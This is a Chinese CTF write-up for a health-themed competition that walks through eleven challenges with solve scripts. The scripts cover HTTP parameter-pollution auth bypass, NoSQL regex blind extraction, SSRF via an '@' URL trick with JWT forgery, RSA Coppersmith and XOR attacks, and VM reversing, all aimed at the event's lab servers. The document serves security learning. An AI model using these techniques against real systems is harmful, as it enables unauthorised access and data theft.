Hack for a Change 2026 March: UN SDG 3 CTF 全题解
本文旨在通过详尽解析“Hack for a Change 2026 March: UN SDG 3”CTF赛题,为读者提供一套完整的技术复现与学习指南。本Writeup涵盖了从签到题到复杂Web/逆向/密码学/杂项等所有题目的解题思路、技术细节、攻击链梳理及最终脚本,力求做到关键步骤不遗漏,帮助读者深入理解各项技术原理。
1. Vaccine Cold Chain (签到题)
描述:签到题,无需复杂操作。
解法:在题目界面连续点击“确认”按钮即可直接获得Flag。
Flag:SDG{c9dbd007298d92f9906a519fdf4ff24f}
2. EHR Parameter Pollution (Web)
考点:参数污染、前端代码审计、API逻辑绕过。
2.1 题目分析
- 题目是一个医疗记录系统,提供查询患者记录的功能。
- 前端JavaScript代码审计发现关键线索:存在一个名为
SYS-ADMIN的隐藏记录,获取它需要先拿到admin_access_code,再进行验证(verify)。 - API接口为
/api/ehr-param-pollution,通过patient_id参数查询记录。
2.2 漏洞利用
漏洞点在于后端在处理多个同名参数patient_id时逻辑有误,可能用最后一个参数值进行鉴权,但用第一个参数值来取数据。
攻击步骤:
- 获取管理员访问码:通过参数污染,构造请求,使鉴权使用
PT-1001,而数据查询使用SYS-ADMIN。
响应中可获取fetch('/api/ehr-param-pollution?seed=ef060b72a3475dc04a2bc8fd4930614b1a2950d3bf71df3618ab187b623c229f&patient_id=PT-1001&patient_id=SYS-ADMIN', { credentials: 'omit', cache: 'no-store' }).then(r => r.json()).then(console.log)admin_access_code: a029a028a027a026。 - 验证访问码获取Token:将获取到的
admin_access_code提交到验证接口。
响应中可获取fetch('/api/ehr-param-pollution?seed=ef060b72a3475dc04a2bc8fd4930614b1a2950d3bf71df3618ab187b623c229f&action=verify', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ admin_access_code: 'a029a028a027a026' }), credentials: 'omit', cache: 'no-store', }).then(r => r.json()).then(console.log)admin_token(即Proof Code):cdaaa20a86340104723d257d4d4bfde0。 - 兑换Flag:使用Proof Code调用Claim接口。
(async () => { const token = new URLSearchParams(location.search).get('token'); const proof = 'cdaaa20a86340104723d257d4d4bfde0'; const r = await fetch('https://vgwukffsjudbybdeuodn.supabase.co/functions/v1/claim-runtime-flag', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}`, }, body: JSON.stringify({ token, proof, slug: 'ehr-param-pollution', }), credentials: 'omit', cache: 'no-store', }); console.log(await r.json()); })();
利用链总结:参数污染绕过鉴权 -> 读取SYS-ADMIN记录 -> 获取admin_access_code -> 验证获得token -> 兑换Flag。
Flag:SDG{c9dbd007298d92f9906a519fdf4ff24f}
3. Patient Zero (Crypto)
考点:RSA小公钥指数攻击(Coppersmith)、已知明文前缀攻击。
3.1 题目分析
题目提供了encrypt.py和public.txt。
- 加密脚本分析:
n = 108060031931266353758801330782473639320039225201311917178449705019176660696244872351271382486864507377607807538618062847665115562029186118435965272613853246476229261400861607263122402792644231190189479726984543802757846539830277258662001776505200445021146928156972061161319057790512542181820218329738735817807 e = 3 def encrypt(flag: bytes) -> int: prefix = b"SDGCTF_SECURE_MSG_V1::" suffix = b"::END" padded = prefix + flag + suffix m = bytes_to_long(padded) if m >= n: raise ValueError("Message too large for modulus") return pow(m, e, n) - 已知条件:公钥
(n, e=3),密文c,flag格式为SDG{...},总长度flag_length=37。
3.2 攻击原理
明文结构为:m = prefix + flag + suffix,其中flag长度为37字节,结构为SDG{ + 32位hex + }。因此,整个明文m可以表示为:
m = known_prefix + x + known_suffix
其中x是32字节(256比特)的未知中间部分。
由于e=3非常小,且x相对于模数n(约1024比特)也较小(256比特),满足Coppersmith短填充攻击的条件。我们可以构建关于x的多项式f(x) = (m0 + x * shift)^3 - c ≡ 0 (mod n),并在整数域上求解小根。
3.3 攻击脚本(SageMath)
from sage.all import *
n = 108060031931266353758801330782473639320039225201311917178449705019176660696244872351271382486864507377607807538618062847665115562029186118435965272613853246476229261400861607263122402792644231190189479726984543802757846539830277258662001776505200445021146928156972061161319057790512542181820218329738735817807
e = 3
c = 100008878800318283632201438905641901786626112629628674497571793527658945303252408192518444765332808863922302554365942020285211201115839756042595666555111768855173496738344017257243733743578327510467420579901928469612017347331628546572717592447637046256354504562975982161650217253359159063440525548096128374926
prefix = b"SDGCTF_SECURE_MSG_V1::SDG{"
suffix = b"}::END"
unknown_len = 32
m0 = int.from_bytes(prefix + b"\x00" * unknown_len + suffix, "big")
shift = 256 ** len(suffix)
PR.<x> = PolynomialRing(Zmod(n))
f = (m0 + x * shift)^e - c
roots = f.monic().small_roots(X=2^(8 * unknown_len), beta=1)
assert roots, "No root found"
x_val = int(roots[0])
mid = x_val.to_bytes(unknown_len, "big")
flag = b"SDG{" + mid + b"}"
print(flag.decode())
Flag:SDG{b5d5e5c44e80ab9bc7343c103dee50c9}
4. Encrypted Audit Logs (Crypto)
考点:Base32解码、已知明文攻击、循环异或。
4.1 题目分析
给出一段审计日志,其中包含关键信息:
Token self-test: ORSXG5A= [expected: "test"]:提示使用Base32编码,因为ORSXG5A=解码后为test。Cipher config: XOR mode=repeating key_len=4:提示加密方式为4字节循环异或。- 目标密文:
M3G3AOAGXTHXUU56YNYAZ2ESOUGLTFLTAK7MKIKQXSKXEA7NSZ3QLOGOEZEA====
4.2 攻击步骤
- Base32解码:将目标密文解码为字节序列。
- 已知明文攻击:已知Flag格式以
SDG{开头。利用前4字节密文与已知明文SDG{进行异或,即可恢复出4字节的循环密钥。 - 解密全文:使用恢复出的密钥,对解码后的密文进行循环异或,得到完整明文。
4.3 攻击脚本
import base64
enc = "M3G3AOAGXTHXUU56YNYAZ2ESOUGLTFLTAK7MKIKQXSKXEA7NSZ3QLOGOEZEA===="
ct = base64.b32decode(enc)
prefix = b"SDG{"
key = bytes(ct[i] ^ prefix[i] for i in range(4))
pt = bytes(ct[i] ^ key[i % 4] for i in range(len(ct)))
print("key =", key.hex())
print("flag =", pt.decode())
输出:
key = 3589f743
flag = SDG{3589f7439ae690b0772be5b16da4019e}
5. Vital Signs (Reverse)
考点:逆向工程、自定义加密算法的逆向、S-Box、滚动异或、位重排。
5.1 程序分析
程序vault是一个x86_64 ELF文件,接受一个密码短语,校验通过后输出Correct!。
- 通过
strings和反汇编可知,程序会进行一系列变换,最后与内置的37字节目标数组比较。
5.2 逆向逻辑
校验流程分为四层,均可逆:
- S-Box替换:输入字节通过一个256字节的置换表进行替换。
tmp1[i] = table[input[i]]。 - 滚动异或:
state = 0x35; // 0x37 * 37 + 0x42 for i in range(37): state ^= tmp1[i] tmp2[i] = state - 位重排:按照映射
[5, 2, 7, 0, 6, 1, 4, 3],将每个字节的bit位置重新排列,得到tmp3。 - 比较:将
tmp3与内置的37字节目标数组进行比较。
5.3 解密脚本
从目标数组反向推导出原始输入。
table = bytes.fromhex("7bce2174c71a6dc01366b90c5fb20558abfe51a4f74a9df04396e93c8fe23588db2e81d4277acd2073c6196cbf1265b80b5eb10457aafd50a3f6499cef4295e83b8ee13487da2d80d32679cc1f72c5186bbe1164b70a5db00356a9fc4fa2f5489bee4194e73a8de03386d92c7fd22578cb1e71c4176abd1063b6095caf0255a8fb4ea1f4479aed4093e6398cdf3285d82b7ed12477ca1d70c31669bc0f62b5085bae0154a7fa4da0f34699ec3f92e5388bde3184d72a7dd02376c91c6fc21568bb0e61b4075aad0053a6f94c9ff24598eb3e91e4378add3083d6297ccf2275c81b6ec11467ba0d60b30659acff52a5f84b9ef14497ea3d90e33689dc2f82d528")
target = bytes.fromhex("70dcd4050afe0aa37dc35ca8286f05cde34a45ec458da8a70e20059ab440fe059abf3fe1e5")
bit_map = [5, 2, 7, 0, 6, 1, 4, 3]
length = 37
# 1. 逆位重排
inv_bit_map = [0] * 8
for src, dst in enumerate(bit_map):
inv_bit_map[dst] = src
def inv_bit_permute(b):
x = 0
for dst in range(8):
src = inv_bit_map[dst]
if b & (1 << dst):
x |= (1 << src)
return x
# 2. 逆滚动异或
state = 0x35
tmp2 = [inv_bit_permute(b) for b in target]
tmp1 = [0] * length
for i in range(length-1, -1, -1):
tmp1[i] = state ^ tmp2[i]
state = tmp2[i] # 注意:滚动异或的逆过程,state是前一个tmp2值
# 3. 逆S-Box
inv_table = {v:k for k, v in enumerate(table)}
flag = bytes(inv_table[b] for b in tmp1)
print(flag.decode())
Flag:SDG{544f9da43e2c8f5ffc05f80a84d6a039}
6. Prescription Pad (Reverse / VM)
考点:虚拟机(VM)逆向、自定义字节码解释器、约束求解。
6.1 程序分析
程序ghost是一个自定义字节码解释器。通过逆向分析,还原出VM的指令集:
| Opcode | 语义 |
|---|---|
| 0x10 imm8 | push imm8 |
| 0x20 | pop b; pop a; push(a+b) |
| 0x21 | pop b; pop a; push(a-b) |
| 0x22 | pop b; pop a; push(a^b) |
| 0x23 | pop b; pop a; push(a*b) |
| 0x24 | pop b; pop a; push(rol8(a, b)) |
| 0x25 | pop b; pop a; push(a&b) |
| 0x30 idx | push(mem[idx]) |
| 0x31 idx | mem[idx] = pop() |
| 0x40 idx | push(input[idx]) |
| 0x50 | pop b; pop a; cmpflag = (a == b) |
| 0x60 lo hi | if (cmpflag) pc = (hi<<8)|lo else pc+=3 |
| 0x61 lo hi | if (!cmpflag) pc = (hi<<8)|lo else pc+=3 |
| 0x71 | 输出 Correct! |
| 0x72 | 输出 Wrong. |
6.2 约束分析
通过解析字节码,得到对输入字符串(长度为37)的37个约束方程。每个方程对应输入的一个字符,形式多样:
- 模板A (XOR+ADD):
((input[i] ^ A) + B) & 0xff == C - 模板B (MUL+XOR):
((input[i] * A) ^ B) & 0xff == C - 模板C (ROL+XOR):
rol(input[i], A) ^ B == C - 模板D (带状态的ACC XOR):
(input[i] ^ acc) == C,之后acc = (acc + input[i]) & 0xff - 模板E (高低4位分离校验):分别校验高4位和低4位。
6.3 求解脚本
通过逆向分析,可以逐位求解出Flag。以下是核心的约束求解逻辑(节选):
def rol8(x: int, n: int) -> int:
n &= 7
return ((x << n) | (x >> (8 - n))) & 0xFF if n else x & 0xFF
PRINTABLE = [ord(c) for c in "0123456789abcdefSDG{}"]
out = ['?'] * 37
# 手动求解前4位
out[0] = chr((((0x47 - 0x07) & 0xFF) ^ 0x13)) # 'S'
out[1] = next(chr(c) for c in PRINTABLE if (((c * 0x21) & 0xFF) ^ 0x6C) == 0xA8) # 'D'
out[2] = next(chr(c) for c in PRINTABLE if (rol8(c, 3) ^ 0x27) == 0x1D) # 'G'
out[3] = chr(0x21 ^ 0x5A) # '{'
acc = (0x5A + ord(out[3])) & 0xFF
# ... 后续位根据不同的约束模板依次求解 ...
# 完整求解过程见原文,最终得到Flag
Flag:SDG{39475a2a6c1852983d4201d2c9434d6f}
7. Dosage Calculator Overflow (Pwn)
考点:整数溢出。
描述:一个剂量计算器,存在整数溢出漏洞。
解法:尝试输入一个非常大的数值(如999999999999999999999),导致计算溢出,从而绕过正常逻辑,直接获得Token。
Flag:SDG{028f311a10a86abd7351d2b246db1aab}
8. Pharmacy XOR Oracle (Crypto)
考点:选择明文攻击、重复密钥异或。
8.1 题目分析
- 题目提供了一个加密Oracle,可以对任意明文进行加密,加密方式为16字节重复密钥异或。
- 已知目标密文:
3c3c5703075a5c035e54d2d08280818f663a5604555654565705d08b82808d84
8.2 攻击步骤
- 利用Oracle加密一个32字节的全零明文
\x00 * 32。 - 由于
plaintext xor key = key,Oracle返回的结果即为密钥重复两次的结果。 - 取前16字节作为密钥
key。 - 用该密钥对目标密文进行异或解密,得到Proof。
8.3 攻击脚本(概念)
# 伪代码流程
ciphertext = bytes.fromhex("3c3c5703075a5c035e54d2d08280818f663a5604555654565705d08b82808d84")
# 1. 向Oracle发送32字节0x00进行加密
zero_enc = oracle_encrypt(b"\x00"*32) # 假设此函数调用Oracle
# 2. 获取前16字节作为key
key = zero_enc[:16]
# 3. 解密
def repeating_key_xor(data, key):
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
proof = repeating_key_xor(ciphertext, key)
Flag:SDG{b759e4557ba000dfd7ca7689f593810a}
9. Health Data NoSQL Injection (Web)
考点:NoSQL注入、正则表达式盲注。
9.1 信息收集
- 查询接口:
POST /api/health-data-nosql?seed=...&action=query - 字段枚举:通过
?action=fields获取所有字段名,发现一个隐藏字段trial_code_cfe7。 - 提取接口:
POST /api/health-data-nosql?seed=...&action=extract,允许通过regex参数对指定记录(record_id)的隐藏字段值进行正则匹配。
9.2 攻击步骤
目标是从TRL-CLASSIFIED记录的trial_code_cfe7字段中提取出32位的hex值作为Proof。
- 盲注原理:利用
$regex操作符,通过正则表达式逐字符爆破字段值。例如,正则^3匹配以3开头的字符串,根据返回的match字段是否为true来判断。 - 自动化脚本:编写脚本从第一位开始,遍历字符集
0123456789abcdef,通过正则匹配确定每一位字符。
9.3 攻击脚本
import requests
import json
BASE = "https://hackforachangemarch2026.vercel.app"
SEED = "6b95e8bffc5a8119cb19a5537ae74c7040a306070bd812870d5bffb834909dfc"
SLUG = "health-data-nosql"
API = f"{BASE}/api/{SLUG}?seed={SEED}"
HEX = "0123456789abcdef"
sess = requests.Session()
sess.headers.update({'Content-Type': 'application/json'})
def extract(regex: str):
url = API + "&action=extract"
body = {"record_id": "TRL-CLASSIFIED", "regex": regex}
r = sess.post(url, json=body, timeout=15)
return r.status_code, r.json()
proof = ""
for i in range(32):
for ch in HEX:
regex = "^" + proof + ch
status, data = extract(regex)
if data.get('ok') and data.get('match'):
proof += ch
print(f"[+] pos={i} char={ch} proof so far: {proof}")
break
print(f"[FINAL PROOF] {proof}")
Proof:3a69f77a923eb27ed6e0d94d3eb60cfd
Flag:SDG{e029117963fc9d2ae9dfd9e6e5089627}
10. Clinical Gateway SSRF (Web)
考点:SSRF、JWT伪造、内部网络访问。
10.1 信息收集
- 系统描述:一个代理网关,只允许转发到
health-api.who.int。 - 内部网络存在
internal-config.mednet.local(配置服务)和admin-portal.mednet.local(管理门户)。
10.2 攻击步骤
- 利用SSRF访问内部配置服务:通过URL解析特性,构造
https://health-api.who.int@internal-config.mednet.local/作为代理目标,网关会解析@前的主机名,但实际请求会发送到@后的主机。
响应中获取JWT签名密钥:GET /api/clinical-gateway-ssrf?action=proxy&url=https://health-api.who.int@internal-config.mednet.local/secrets3e1f69483e1f69473e1f69463e1f6945和管理员角色medfed_admin。 - 伪造JWT令牌:使用获取的密钥,以
medfed_admin角色生成JWT。import jwt, time secret = "3e1f69483e1f69473e1f69463e1f6945" now = int(time.time()) payload = {"role": "medfed_admin", "iat": now, "exp": now + 3600} token = jwt.encode(payload, secret, algorithm="HS256") - 访问管理门户获取Flag:使用伪造的JWT令牌访问
admin-portal.mednet.local。
从响应中获取Flag。GET /api/clinical-gateway-ssrf?action=proxy&url=https://health-api.who.int@admin-portal.mednet.local/&Authorization=Bearer%20<伪造的JWT>
Flag:SDG{f6811c8ac3a6b5233784dbd17b158b52}
11. Genome LCG Oracle (Crypto)
考点:线性同余生成器(LCG)预测、已知高16位恢复状态。
11.1 题目分析
- LCG参数公开:
a = 1664525,c = 1013904223,m = 2^32。 - 输出:内部状态的高16位(
state >>> 16)。 - 目标:通过观察位置0-9的输出,恢复内部状态,并预测位置100的输出。
11.2 攻击原理
已知:
state_{n+1} = (a * state_n + c) mod m
output_n = state_n >> 16
给定连续的output_n和output_{n+1},可以枚举state_n的低16位(0-65535),检查哪个候选状态在迭代一次后,其高16位与output_{n+1}匹配。
11.3 攻击脚本
def recover_state(outputs, a=1664525, c=1013904223, m=2**32):
# outputs: 观测到的高16位输出列表 [out0, out1, ...]
out0, out1 = outputs[0], outputs[1]
for low in range(65536):
candidate = (out0 << 16) | low
next_state = (a * candidate + c) % m
if (next_state >> 16) == out1:
# 验证后续输出是否匹配
state = candidate
for expected in outputs[1:]:
state = (a * state + c) % m
if (state >> 16) != expected:
break
else:
return candidate
return None
# 从题目获取的观测值
observed = [50383, 18563, 20506, 8072, 48125, 3917, 7486, 21992, 42234, 50464]
state0 = recover_state(observed)
print(f"Recovered state0: {state0}")
# 预测位置100的输出
state = state0
for _ in range(100):
state = (1664525 * state + 1013904223) & 0xffffffff
output_100 = state >> 16
print(f"Predicted output at position 100: {output_100}")
预测输出:50019
Flag:SDG{4607fa424c02d98dd4e13ea1740ef428}
总结:本次CTF涵盖了Web安全、密码学、逆向工程、二进制安全等多种题型,重点考察了参数污染、RSA Coppersmith攻击、已知明文攻击、虚拟机逆向、约束求解、SSRF、JWT伪造、LCG状态恢复等核心安全技术。希望本Writeup能为读者提供清晰的技术路径和解题思路。